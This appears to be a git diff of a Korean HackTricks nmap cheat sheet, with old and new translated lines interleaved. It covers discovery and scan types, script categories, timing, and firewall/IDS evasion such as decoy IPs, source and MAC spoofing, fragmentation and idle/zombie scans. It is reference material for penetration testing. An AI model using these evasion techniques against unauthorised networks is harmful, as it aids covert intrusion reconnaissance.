AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 요령을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -26,70 +27,70 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
* **`<ip>,<net/mask>`:** 직접 IP를 나타냄
|
||||
* **`-iL <ips_file>`:** IP 목록
|
||||
* **`-iR <number>`**: 랜덤 IP 수, `--exclude <Ips>` 또는 `--excludefile <file>`로 제외 가능
|
||||
* **`-iR <number>`**: 랜덤 IP 수, `--exclude <Ips>` 또는 `--excludefile <file>`로 가능한 IP 제외
|
||||
|
||||
### 장비 발견
|
||||
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 발견 단계를 시작함
|
||||
기본적으로 Nmap은 `-PA80 -PS443 -PE -PP`로 구성된 발견 단계를 시작합니다.
|
||||
|
||||
* **`-sL`**: 침입적이지 않고, 목표를 나열하기 위해 **DNS** 요청을 수행함. 예를 들어 www.prueba.es/24의 모든 IP가 우리의 목표인지 확인하는 데 유용함.
|
||||
* **`-Pn`**: **핑 없음**. 모두 활성 상태임을 알고 있는 경우 유용함 (그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성 상태가 아니라고 잘못 알려줄 수도 있음), 발견 단계를 방지함.
|
||||
* **`-sn`** : **포트 스캔 없음**. 정찰 단계를 완료한 후 포트를 스캔하지 않음. 비교적 은밀하며 소규모 네트워크 스캔을 허용함. 권한이 있는 경우 80번으로 ACK(-PA), 443번으로 SYN(-PS) 및 에코 요청 및 타임스탬프 요청을 보냄. 대상이 네트워크인 경우 ARP(-PR)만 사용함. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됨.
|
||||
* **`-PR`**: **핑 ARP**. 네트워크의 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠름. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용함.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내어 SYN/ACK로 응답하는 경우 열림(연결을 끝내지 않기 위해 RST로 응답), RST로 응답하는 경우 닫힘, 응답이 없는 경우 접근 불가능함. 권한이 없는 경우 자동으로 총 연결이 사용됨. 포트가 지정되지 않은 경우 80번으로 보냄.
|
||||
* **`-PA <ports>`**: 이전과 유사하지만 ACK로, 두 가지를 결합하면 더 나은 결과를 얻을 수 있음.
|
||||
* **`-PU <ports>`**: 목적은 반대로, 닫혀 있을 것으로 예상되는 포트로 보냄. 일부 방화벽은 TCP 연결만 확인함. 닫혀 있으면 포트 접근 불가능으로 응답하고, 다른 ICMP로 응답하거나 응답이 없는 경우 대상 접근 불가능으로 남김.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: 에코 응답, 타임스탬프 및 주소 마스크. 대상이 활성 상태인지 확인하기 위해 전송됨.
|
||||
* **`-sL`**: 침입적이지 않으며, 이름을 해결하기 위해 DNS 요청을 하는 대상을 나열함. 예를 들어 www.prueba.es/24의 모든 IP가 대상인지 확인하는 데 유용함.
|
||||
* **`-Pn`**: 핑 없음. 모두 활성 상태임을 알고 있는 경우 유용함(그렇지 않으면 많은 시간이 소요될 수 있지만, 이 옵션은 활성 상태가 아니라고 잘못 알려줄 수도 있음). 발견 단계를 방지함.
|
||||
* **`-sn`** : 포트 스캔 없음. 정찰 단계를 완료한 후 포트를 스캔하지 않음. 비교적 은밀하며, 소규모 네트워크 스캔을 허용함. 권한이 있는 경우 80번으로 ACK(-PA)를 보내고, 443번으로 SYN(-PS)를 보내며, 에코 요청과 타임스탬프 요청을 보냄. 대상이 네트워크인 경우 ARP(-PR)만 사용함. 다른 옵션과 함께 사용하면 다른 옵션의 패킷만 삭제됨.
|
||||
* **`-PR`**: ARP 핑. 네트워크 내 컴퓨터를 분석할 때 기본적으로 사용되며, 핑을 사용하는 것보다 빠름. ARP 패킷을 사용하지 않으려면 `--send-ip`를 사용함.
|
||||
* **`-PS <ports>`**: SYN 패킷을 보내어 SYN/ACK로 응답하면 열림(연결을 끝내지 않기 위해 RST로 응답), RST로 응답하면 닫힘, 응답이 없으면 접근할 수 없음. 권한이 없는 경우 전체 연결이 자동으로 사용됨. 포트가 지정되지 않은 경우 80번으로 보냄.
|
||||
* **`-PA <ports>`**: 이전과 유사하지만 ACK로, 두 옵션을 결합하면 더 나은 결과를 얻을 수 있음.
|
||||
* **`-PU <ports>`**: 반대 목적으로, 닫혀 있을 것으로 예상되는 포트로 보냄. 일부 방화벽은 TCP 연결만 확인함. 닫혀 있으면 포트 접근 불가로 응답하며, 다른 ICMP로 응답하거나 응답이 없으면 대상 접근 불가로 남김.
|
||||
* **`-PE, -PP, -PM`** : ICMP PINGS: 에코 응답, 타임스탬프 및 어드레스마스크. 대상이 활성 상태인지 확인하기 위해 보냄.
|
||||
* **`-PY<ports>`**: 기본적으로 80번으로 SCTP INIT 프로브를 보내며, INIT-ACK(열림) 또는 ABORT(닫힘) 또는 아무것도 또는 ICMP 접근 불가능(비활성)으로 응답할 수 있음.
|
||||
* **`-PO <protocols>`**: 헤더에 프로토콜이 표시됨, 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP). ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지에는 IP 헤더만 전송됨. 이는 헤더의 형태가 변형되어 프로토콜이 업데이트되거나 동일한 프로토콜의 응답이 도착하는지 확인하기 위해 프로토콜 접근 불가능 또는 동일한 프로토콜의 응답이 도착함.
|
||||
* **`-PO <protocols>`**: 헤더에 프로토콜이 표시됨, 기본적으로 1(ICMP), 2(IGMP) 및 4(Encap IP). ICMP, IGMP, TCP(6) 및 UDP(17) 프로토콜의 경우 프로토콜 헤더가 전송되며, 나머지는 IP 헤더만 전송됨. 헤더의 형태가 잘못되어 프로토콜이 도달하지 않거나 동일한 프로토콜의 응답이 도착하여 상태를 알 수 있음.
|
||||
* **`-n`**: DNS 없음
|
||||
* **`-R`**: 항상 DNS
|
||||
|
||||
### 포트 스캔 기술
|
||||
|
||||
* **`-sS`**: 연결을 완료하지 않아 추적을 남기지 않음, 사용 가능한 경우 매우 좋음(권한 필요). 기본적으로 사용됨.
|
||||
* **`-sT`**: 연결을 완료하여 추적을 남김, 확실하게 사용 가능함. 기본적으로 권한이 없음.
|
||||
* **`-sU`**: UDP를 위한 느린 스캔. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 접근 불가능), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하고 실제 상태를 감지할 수 있도록 여러 요청을 보냄. 시간이 많이 소요됨.
|
||||
* **`-sY`**: SCTP 프로토콜이 연결을 설정하지 못하면 로그가 생성되지 않음, -PY처럼 작동함
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 관통하고 정보를 추출할 수 있음. SYN, RST 또는 ACK 플래그가 없는 모든 요청에 RST로 응답해야 한다는 사실에 기초함: 열림/필터링(아무것도), 닫힘(RST), 필터링(ICMP 접근 불가능). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없음. Unix에서는 신뢰할 수 있음.
|
||||
* **`-sS`**: 연결을 완료하지 않아 추적이 남지 않음, 사용 가능한 경우 매우 좋음(권한). 기본적으로 사용됨.
|
||||
* **`-sT`**: 연결을 완료하여 추적이 남음, 확실한 경우 사용 가능함. 기본적으로 권한 없이 사용됨.
|
||||
* **`-sU`**: UDP를 위한 느린 스캔. 주로: DNS(53), SNMP(161,162), DHCP(67 및 68), (-sU53,161,162,67,68): 열림(응답), 닫힘(포트 접근 불가), 필터링(다른 ICMP), 열림/필터링(아무것도). 열림/필터링의 경우, -sV는 nmap이 지원하는 버전 중 하나를 감지하고 실제 상태를 감지할 수 있도록 여러 요청을 보냄. 시간이 많이 소요됨.
|
||||
* **`-sY`**: SCTP 프로토콜이 연결을 설정하지 못하므로 로그가 없음, -PY처럼 작동함
|
||||
* **`-sN,-sX,-sF`:** Null, Fin, Xmas, 일부 방화벽을 관통하고 정보를 추출할 수 있음. SYN, RST 또는 ACK 플래그가 없는 모든 요청에 RST로 응답해야 한다는 사실에 기초함: 열림/필터링(아무것도), 닫힘(RST), 필터링(ICMP 접근 불가). Windows, CIsco, BSDI 및 OS/400에서 신뢰할 수 없음. Unix에서는 신뢰할 수 있음.
|
||||
* **`-sM`**: Maimon 스캔: FIN 및 ACK 플래그를 보냄, 현재 BSD에서는 모두 닫힌 것으로 반환됨.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하기 위해 사용되며 포트가 필터링되었는지 여부를 알 수 있음. -sW는 열림/닫힘을 구별함(열린 경우 다른 창 값으로 응답함): 열림(창 값이 0이 아닌 RST), 닫힘(창 값 = 0인 RST), 필터링(ICMP 접근 불가능 또는 아무것도). 모든 컴퓨터가 이렇게 작동하는 것은 아니므로 모두 닫힌 경우 작동하지 않음, 몇 개가 열린 경우 잘 작동하며, 많이 열려 있고 몇 개가 닫힌 경우 반대로 작동함.
|
||||
* **`-sI`:** Idle 스캔. 활성 방화벽이 있지만 특정 IP로 필터링되지 않는다는 것을 알고 있는 경우(또는 단순히 익명성을 원하는 경우) 좀비 스캐너를 사용할 수 있음(모든 포트에 대해 작동함), 가능한 좀비를 찾기 위해 ipidseq 스크립트 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있음. 이 스캐너는 IP 패킷의 IPID 번호를 기반으로 함.
|
||||
* **`--badsum`:** 합계를 잘못 보내어 컴퓨터가 패킷을 버릴 수 있지만, 방화벽은 응답할 수 있음, 방화벽을 감지하는 데 사용됨.
|
||||
* **`-sA, sW`**: ACK 및 Window, 방화벽을 감지하기 위해 사용되며, 포트가 필터링되었는지 여부를 알 수 있음. -sW는 열림/닫힘을 구별함(열린 것은 창 값이 다른 RST로 응답함): 열림(창 값이 0이 아닌 RST), 닫힘(창 값 = 0인 RST), 필터링(ICMP 접근 불가 또는 아무것도). 모든 컴퓨터가 이렇게 작동하는 것은 아니므로, 모두 닫힌 경우 작동하지 않음, 몇 개가 열린 경우 잘 작동함, 많이 열렸고 몇 개가 닫힌 경우 반대로 작동함.
|
||||
* **`-sI`:** Idle 스캔. 활성 방화벽이 있지만 특정 IP로 필터링되지 않는다는 것을 알고 있는 경우(또는 단순히 익명성을 원하는 경우) 좀비 스캐너를 사용할 수 있음(모든 포트에 대해 작동함), 가능한 좀비를 찾기 위해 ipidseq 스크립트 또는 exploit auxiliary/scanner/ip/ipidseq를 사용할 수 있음. 이 스캐너는 IP 패킷의 IPID 번호에 기초함.
|
||||
* **`--badsum`:** 합이 잘못된 패킷을 보냄, 컴퓨터는 패킷을 버릴 수 있지만 방화벽은 응답할 수 있음, 방화벽을 감지하는 데 사용됨.
|
||||
* **`-sZ`:** "이상한" SCTP 스캐너, 쿠키 에코 조각을 보내면 열린 경우 삭제되거나 닫힌 경우 ABORT로 응답해야 함. init을 통과하지 못하는 방화벽을 통과할 수 있지만, 필터링된 것과 열린 것을 구별하지 못함.
|
||||
* **`-sO`:** 프로토콜 IP 스캔. 때로는 프로토콜을 식별할 수 없는 잘못된 및 빈 헤더를 보냄. ICMP 접근 불가능 프로토콜이 도착하면 닫힘, 접근 불가능한 포트가 도착하면 열림, 다른 오류가 도착하면 필터링, 아무것도 도착하지 않으면 열림|필터링.
|
||||
* **`-b <server>`:** FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용됨, 다른 기계의 FTP에 연결하여 해당 기계에서 다른 기계로 파일을 보내도록 요청함, 응답에 따라 해당 포트가 열렸는지 여부를 알 수 있음. \[\<user>:\<password>@]\<server>\[:\<port>] 대부분의 FTP 서버는 더 이상 이 작업을 허용하지 않으므로 실용적인 용도가 거의 없음.
|
||||
* **`-b <server>`:** FTPhost--> 다른 호스트에서 호스트를 스캔하는 데 사용됨, 다른 기계의 FTP에 연결하여 해당 기계에서 다른 기계로 스캔할 포트로 파일을 보내도록 요청함, 응답에 따라 해당 포트가 열렸는지 여부를 알 수 있음. \[\<user>:\<password>@]\<server>\[:\<port>] 대부분의 FTP 서버는 더 이상 이 작업을 허용하지 않으므로 실용적인 용도가 거의 없음.
|
||||
|
||||
### **분석 중심**
|
||||
### 중심 분석
|
||||
|
||||
**-p:** 스캔할 포트를 지정하는 데 사용됨. 65335개를 선택하려면: **-p-** 또는 **-p all**. Nmap은 인기에 따라 내부적으로 분류됨. 기본적으로 상위 1000개를 사용함. **-F** (빠른 스캔)으로 상위 100개를 분석함. **--top-ports \<number>**로 해당 수의 상위 포트를 분석함 (1부터 65335까지). 포트를 무작위로 확인하므로 이를 방지하려면 **-r**을 사용함. 또한 포트를 선택할 수 있음: 20-30,80,443,1024- 이는 1024 이후를 확인함. 또한 프로토콜별로 포트를 그룹화할 수 있음: U:53,T:21-25,80,139,S:9. 또한 nmap의 인기 있는 포트 범위 내에서 범위를 선택할 수 있음: -p \[-1024] nmap-services에 포함된 1024까지 분석함. **--port-ratio \<ratio>**로 0에서 1 사이의 비율로 가장 일반적인 포트를 분석함
|
||||
**-p:** 스캔할 포트를 지정하는 데 사용됨. 65335개를 선택하려면: **-p-** 또는 **-p all**. Nmap은 내부적으로 인기에 따라 분류됨. 기본적으로 상위 1000개를 사용함. **-F** (빠른 스캔)으로 상위 100개를 분석함. **--top-ports \<number>**로 해당 수의 상위 포트를 분석함(1부터 65335까지). 포트를 무작위로 확인하므로 이를 방지하려면 **-r**을 사용함. 또한 포트를 선택할 수 있음: 20-30,80,443,1024- 이후의 포트를 확인함. 또한 프로토콜별로 포트를 그룹화할 수 있음: U:53,T:21-25,80,139,S:9. Nmap의 인기 있는 포트 범위 내에서 범위를 선택할 수도 있음: -p \[-1024] nmap-services에 포함된 1024까지 분석함. **--port-ratio \<ratio>**로 0과 1 사이의 비율로 가장 일반적인 포트를 분석함
|
||||
|
||||
**-sV** 버전 스캔, 강도를 0에서 9로 조절할 수 있으며 기본값은 7임.
|
||||
**-sV** 버전 스캔, 기본적으로 7로 강도를 조절할 수 있음.
|
||||
|
||||
**--version-intensity \<number>** 강도를 조절하여 더 낮은 값은 가장 가능성이 높은 프로브만 보내고 모두 보내지 않음, 이를 통해 UDP 스캔 시간을 상당히 단축할 수 있음
|
||||
**--version-intensity \<number>** 강도를 조절하여 더 낮은 값은 가장 가능성이 높은 프로브만 보내고 모두 보내지 않음. 이를 통해 UDP 스캔 시간을 크게 단축할 수 있음.
|
||||
|
||||
**-O** OS 감지
|
||||
|
||||
**--osscan-limit** 호스트를 올바르게 스캔하려면 적어도 하나의 열린 포트와 하나의 닫힌 포트가 있어야 하며, 이 조건이 충족되지 않고 이 옵션을 설정한 경우 OS 예측을 시도하지 않음(시간을 절약함)
|
||||
**--osscan-guess** 운영 체제 감지가 완벽하지 않을 때 더 많은 노력을 기울입니다.
|
||||
**--osscan-guess** OS 감지가 완벽하지 않을 때 더 많은 노력을 기울입니다.
|
||||
|
||||
**스크립트**
|
||||
|
||||
\--script _\<filename>_|_\<category>_|_\<directory>_|_\<expression>_\[,...]
|
||||
|
||||
기본적으로 -sC 또는 --script=default을 사용하여 사용 가능한 스크립트를 실행할 수 있습니다.
|
||||
기본적으로 -sC 또는 --script=default로 사용 가능
|
||||
|
||||
사용 가능한 유형: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, and vuln
|
||||
|
||||
* **Auth:** 인증에 사용 가능한 모든 스크립트 실행
|
||||
* **Default:** 도구의 기본 스크립트 실행
|
||||
* **Auth:** 인증을 위해 사용 가능한 모든 _스크립트_ 실행
|
||||
* **Default:** 도구의 기본 _스크립트_ 실행
|
||||
* **Discovery:** 대상 또는 피해자의 정보 검색
|
||||
* **External:** 외부 리소스 사용을 위한 스크립트
|
||||
* **Intrusive:** 피해자나 대상에 대해 침입적으로 간주되는 스크립트 사용
|
||||
* **Malware:** 악성 코드나 백도어로 인한 열린 연결 확인
|
||||
* **Safe:** 침입적이지 않은 스크립트 실행
|
||||
* **External:** 외부 리소스 사용을 위한 _스크립트_
|
||||
* **Intrusive:** 피해자나 대상에 대해 침입적으로 간주되는 _스크립트_ 사용
|
||||
* **Malware:** 악성 코드나 _백도어_로 인한 열린 연결 확인
|
||||
* **Safe:** 침입적이지 않은 _스크립트_ 실행
|
||||
* **Vuln:** 가장 잘 알려진 취약점 발견
|
||||
* **All:** 가능한 모든 NSE 확장을 가진 스크립트 실행
|
||||
* **All:** 가능한 모든 NSE 확장 _스크립트_ 실행
|
||||
|
||||
스크립트 검색:
|
||||
|
||||
|
@ -97,7 +98,7 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
**nmap --script-help="not intrusive" -> 해당하지 않는 모든 것들**
|
||||
|
||||
**nmap --script-help="default or safe" -> 하나 또는 둘 중 하나 또는 둘 다에 속하는 것들**
|
||||
**nmap --script-help="default or safe" -> 하나 또는 둘 다에 속하는 것들**
|
||||
|
||||
**nmap --script-help="default and safe" --> 둘 다에 속하는 것들**
|
||||
|
||||
|
@ -113,37 +114,37 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
|
|||
|
||||
\--script-updatedb
|
||||
|
||||
**스크립트 사용 시: namp --script Script_Name target** --> 스크립트와 스캐너가 실행되며, 스캐너 옵션도 추가할 수 있습니다. **“safe=1”**을 추가하여 안전한 스크립트만 실행할 수 있습니다.
|
||||
**스크립트 사용 시: nmap --script Script_Name target** --> 스크립트와 스캐너가 실행되며, 스캐너 옵션도 추가할 수 있음, **“safe=1”**을 추가하여 안전한 것들만 실행 가능
|
||||
|
||||
**시간 제어**
|
||||
|
||||
**Nmap은 초, 분, ms로 시간을 조정할 수 있습니다:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행합니다.
|
||||
**Nmap은 초, 분, ms 단위로 시간을 조정할 수 있음:** --host-timeout arguments 900000ms, 900, 900s, and 15m 모두 동일한 작업을 수행
|
||||
|
||||
Nmap은 총 호스트 수를 그룹으로 나누어 그룹을 블록 단위로 분석하므로 모든 그룹이 분석될 때까지 다음 블록으로 넘어가지 않습니다 (사용자도 블록이 분석될 때까지 업데이트를 받지 않음). 이러한 방식으로 nmap은 대규모 그룹을 사용하는 것이 더 효율적입니다. 기본적으로 클래스 C에서 256을 사용합니다.
|
||||
Nmap은 총 호스트 수를 그룹으로 나누어 그룹을 블록 단위로 분석하므로 모든 그룹이 분석될 때까지 다음 블록으로 넘어가지 않음 (사용자도 블록이 분석될 때까지 업데이트를 받지 않음). 이 방식으로 nmap은 대규모 그룹을 사용하는 것이 더 효율적임. 기본적으로 클래스 C에서 256을 사용함.
|
||||
|
||||
다음과 같이 변경할 수 있습니다\*\*--min-hostgroup\*\* _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (병렬 스캔 그룹 크기 조정)
|
||||
변경 가능: **--min-hostgroup** _**\<numhosts>**_**;** **--max-hostgroup** _**\<numhosts>**_ (병렬 스캔 그룹 크기 조정)
|
||||
|
||||
병렬로 실행되는 스캐너 수를 제어할 수 있지만 권장하지 않습니다 (nmap은 네트워크 상태에 따라 자동 제어를 포함하고 있습니다): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
병렬 스캔 수를 제어할 수 있지만 권장하지 않음 (nmap은 네트워크 상태에 따라 자동 제어): **--min-parallelism** _**\<numprobes>**_**;** **--max-parallelism** _**\<numprobes>**_
|
||||
|
||||
rtt 타임아웃을 조정할 수 있지만 대개 필요하지 않습니다: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
RTT 타임아웃을 조정할 수 있지만 일반적으로 필요하지 않음: **--min-rtt-timeout** _**\<time>**_**,** **--max-rtt-timeout** _**\<time>**_**,** **--initial-rtt-timeout** _**\<time>**_
|
||||
|
||||
시도 횟수를 조정할 수 있습니다:**--max-retries** _**\<numtries>**_
|
||||
시도 횟수를 조정할 수 있음: **--max-retries** _**\<numtries>**_
|
||||
|
||||
호스트의 스캔 시간을 조정할 수 있습니다: **--host-timeout** _**\<time>**_
|
||||
호스트의 스캔 시간을 조정할 수 있음: **--host-timeout** _**\<time>**_
|
||||
|
||||
각 테스트 사이의 시간을 느리게 만들기 위해 스캔 지연 시간을 조정할 수 있습니다: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
각 테스트 사이의 시간을 느리게 조정할 수 있음: **--scan-delay** _**\<time>**_**;** **--max-scan-delay** _**\<time>**_
|
||||
|
||||
초당 패킷 수를 조정할 수 있습니다: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
초당 패킷 수를 조정할 수 있음: **--min-rate** _**\<number>**_**;** **--max-rate** _**\<number>**_
|
||||
|
||||
많은 포트가 필터링되거나 닫혀 있어 응답이 오래 걸릴 수 있습니다. 열린 포트만 관심이 있는 경우, **--defeat-rst-ratelimit**를 사용하여 더 빨리 할 수 있습니다.
|
||||
많은 포트가 필터링되거나 닫혀 있어 응답이 오래 걸릴 수 있으므로 열린 포트만 관심이 있다면 더 빠르게 진행 가능: **--defeat-rst-ratelimit**
|
||||
|
||||
nmap의 공격적인 정도를 정의하기 위해: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
Nmap의 공격적 정도를 정의: -T paranoid|sneaky|polite|normal|aggressive|insane
|
||||
|
||||
\-T (0-1)
|
||||
|
||||
\-T0 --> 한 번에 1개의 포트만 스캔하고 다음까지 5분 대기
|
||||
|
||||
\-T1 및 T2 --> 매우 유사하지만 각 테스트 사이에 15초와 0.4초 대기
|
||||
\-T1 및 T2 --> 매우 유사하지만 각 테스트 사이에 15초 및 0.4초 대기
|
||||
|
||||
\-T3 --> 기본 동작, 병렬로 실행
|
||||
|
||||
|
@ -153,40 +154,40 @@ nmap의 공격적인 정도를 정의하기 위해: -T paranoid|sneaky|polite|no
|
|||
|
||||
**방화벽/IDS**
|
||||
|
||||
포트를 통과시키지 않고 패킷을 분석합니다.
|
||||
포트를 통과하지 못하고 패킷을 분석함.
|
||||
|
||||
**-f** 패킷을 단편화하며, 기본적으로 헤더 이후 8바이트로 단편화하며, 이 크기를 지정하려면 ..mtu를 사용합니다 (-f를 사용하지 않음), 오프셋은 8의 배수여야 합니다. **버전 스캐너 및 스크립트는 단편화를 지원하지 않습니다**
|
||||
**-f** 패킷을 단편화하기 위해 사용되며, 기본적으로 헤더 이후 8바이트로 단편화되며, 이 크기를 지정하려면 ..mtu를 사용 (이를 사용하면 -f를 사용하지 않음), 오프셋은 8의 배수여야 함. **버전 스캐너 및 스크립트는 단편화를 지원하지 않음**
|
||||
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 송신지로 사용하여 스캐너를 보냅니다. ME를 목록에 포함하면 nmap은 해당 위치에 당신을 숨깁니다. 완전히 가려지도록 하려면 당신 앞에 5개 또는 6개를 더 추가하는 것이 좋습니다. RND:\<number>를 사용하여 무작위 IP를 생성할 수 있습니다. TCP 연결 없이 버전 탐지기와 함께 작동하지 않습니다. 네트워크 내에 있을 때 활성 상태인 IP를 사용하는 것이 좋습니다. 그렇지 않으면 당신이 유일하게 활성 상태임을 쉽게 알아낼 수 있습니다.
|
||||
**-D decoy1,decoy2,ME** Nmap은 다른 IP 주소를 송신지로 사용하여 스캔을 보내며, ME를 목록에 포함하면 Nmap은 해당 위치에 당신을 숨깁니다. 완전히 숨기려면 자신의 앞에 5개 또는 6개를 더 추가하는 것이 좋습니다. RND:\<number>로 무작위 IP를 생성할 수 있음. TCP 연결 없는 버전 탐지기와 함께 작동하지 않음. 네트워크 내에 있을 경우 활성 상태인 IP를 사용하는 것이 좋음.
|
||||
|
||||
무작위 IP를 사용하려면: nmap-D RND: 10 Target_IP
|
||||
무작위 IP 사용: nmap-D RND: 10 Ip_target
|
||||
|
||||
**-S IP** Nmap이 당신의 IP 주소를 인식하지 못할 때 사용합니다. 또한 다른 대상이 스캔 중인 것처럼 보이도록 할 수 있습니다.
|
||||
**-S IP** Nmap이 IP 주소를 감지하지 못할 때 사용하며, 다른 대상이 스캔 중인 것처럼 보이도록 함.
|
||||
|
||||
**-e \<interface>** 인터페이스 선택
|
||||
|
||||
많은 관리자들은 모든 것이 올바르게 작동하도록 입력 포트를 열어둡니다. 이는 DNS 또는 FTP 포트일 수 있습니다... 이 취약성을 찾기 위해 nmap은 다음을 포함합니다: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _동일한 작업_
|
||||
많은 관리자들은 모든 것이 올바르게 작동하도록 입력 포트를 열어두고 다른 솔루션을 찾는 것보다 쉽게 만들기 때문에 DNS 또는 FTP 포트가 될 수 있음. 이 취약성을 찾기 위해 nmap은 다음을 포함: **--source-port** _**\<portnumber>**_**;-g** _**\<portnumber>**_ _동일_
|
||||
|
||||
**--data** _**\<hex string>**_ 16진수 텍스트를 보내기 위해: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
**--data** _**\<hex string>**_ 16진수 텍스트 전송: --data 0xdeadbeef and --data \xCA\xFE\x09
|
||||
|
||||
**--data-string** _**\<string>**_ 일반 텍스트를 보내기 위해: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
**--data-string** _**\<string>**_ 일반 텍스트 전송: --data-string "Scan conducted by Security Ops, extension 7192"
|
||||
|
||||
**--data-length** _**\<number>**_ Nmap은 헤더만 보내며, 여기에 무작위로 생성된 바이트 수를 추가합니다.
|
||||
**--data-length** _**\<number>**_ Nmap은 헤더만 보내며, 여기에 무작위로 생성된 바이트 수를 추가함
|
||||
|
||||
IP 패킷을 완전히 구성하려면 **--ip-options** 사용
|
||||
|
||||
보낸 패킷의 옵션을 보려면 --packet-trace 지정. Nmap을 사용하여 IP 옵션을 사용하는 방법 및 예제에 대한 자세한 내용은 [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52)를 참조하십시오.
|
||||
전송 및 수신된 패킷의 옵션을 보려면 --packet-trace 지정. Nmap을 사용하여 IP 옵션을 사용하는 방법 및 예제에 대한 자세한 내용은 [http://seclists.org/nmap-dev/2006/q3/52](http://seclists.org/nmap-dev/2006/q3/52) 참조
|
||||
|
||||
**--ttl** _**\<value>**_
|
||||
|
||||
**--randomize-hosts** 공격이 덜 눈에 띄도록
|
||||
**--randomize-hosts** 공격이 덜 눈에 띄도록 함
|
||||
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MAC 주소 변경을 위해 예: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<쉼표로 구분된 프록시 URL 목록>**_ 프록시를 사용하는 경우, 때로는 프록시가 nmap이 원하는만큼 많은 연결을 유지하지 못할 수 있으므로 병렬성을 조정해야 합니다: --max-parallelism
|
||||
**--spoof-mac** _**\<MAC address, prefix, or vendor name>**_ MAC 주소 변경: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||
**--proxies** _**\<쉼표로 구분된 프록시 URL 목록>**_ 프록시를 사용하는 경우, 때로는 프록시가 nmap이 원하는만큼의 연결을 유지하지 못할 수 있으므로 병렬성을 수정해야 합니다: --max-parallelism
|
||||
|
||||
